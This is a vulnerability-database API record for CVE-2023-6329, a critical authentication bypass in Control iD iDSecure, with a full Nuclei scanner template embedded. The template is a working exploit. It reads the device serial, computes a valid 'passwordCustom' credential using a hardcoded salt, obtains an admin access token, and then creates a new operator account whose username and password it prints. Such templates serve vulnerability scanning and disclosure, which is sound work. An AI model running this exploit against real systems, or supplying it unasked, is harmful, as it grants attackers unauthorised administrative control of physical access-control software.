{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-6329/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-6329/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-6329/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-6329/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-6329/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-6329"},"sightings":{"href":"/api/v1/sightings/cve-2023-6329"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-6329.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-6329\n\ninfo:\n  name: Control iD iDSecure - Authentication Bypass\n  author: DhiyaneshDK,princechaddha\n  severity: critical\n  description: |\n    An authentication bypass vulnerability exists in Control iD iDSecure v4.7.32.0. The login routine used by iDS-Core.dll contains a \"passwordCustom\" option that allows an unauthenticated attacker to compute valid credentials that can be used to bypass authentication and act as an administrative user.\n  impact: |\n    Successful exploitation could allow an attacker to bypass authentication controls.\n  remediation: |\n    Apply the vendor-supplied patch or update to the latest firmware version to mitigate the vulnerability.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-6329\n    cwe-id: CWE-287\n    epss-score: 0.64996\n    epss-percentile: 0.99214\n    cpe: cpe:2.3:a:controlid:idsecure:4.7.32.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: controlid\n    product: idsecure\n    fofa-query: body=\"iDSecure\"\n  tags: cve,cve2023,auth-bypass,idsecure,control-id,intrusive,vuln,vkev\n\nvariables:\n  username: \"{{rand_base(8)}}\"\n  password: \"{{randstr}}\"\n  sha1Hash: \"{{sha1(serial)}}\"\n  passwordRandom: \"{{rand_text_numeric(10)}}\"\n\nflow: |\n  http(1);\n  javascript();\n  http(2);\n  http(3);\n\njavascript:\n  - code: |\n      var passwordRandom = passwordRandom;\n      var sha1Hash = template.sha1Hash;\n      var sha256Hash=(sha256combined.substring(0,6))\n      var passwordCustom = parseInt(sha256Hash, 16).toString();\n      passwordCustom\n    args:\n      sha1Hash: \"{{sha1Hash}}\"\n      sha256combined: \"{{ sha256(sha1Hash+passwordRandom+'cid2016') }}\"\n      passwordRandom: \"{{passwordRandom}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /api/login/unlockGetData HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'serial'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        part: body\n        name: serial\n        internal: true\n        json:\n          - '.serial'\n\n  - raw:\n      - |\n        POST /api/login/ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/json\n\n        {\"passwordCustom\": \"{{javascript_response}}\", \"passwordRandom\": \"{{passwordRandom}}\"}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'accessToken'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        part: body\n        name: access-token\n        internal: true\n        json:\n          - '.accessToken'\n\n  - raw:\n      - |\n        POST /api/operator/ HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{access-token}}\n        Content-Type: application/json\n\n        {\"idType\": \"1\", \"name\": \"{{username}}\", \"user\": \"{{username}}\", \"newPassword\": \"{{password}}\", \"password_confirmation\": \"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"code\", \"newID\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ username'\n          - '\"PASS: \"+ password'\n# digest: 4b0a00483046022100f15bcad28a87f6c53e4833f5c9844129ecce6685a3965d1607f13994a731ded9022100815344a5bd54064e6ac6494bd02da561a2890c6171334ee2d03faceda24186e1:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-6329"}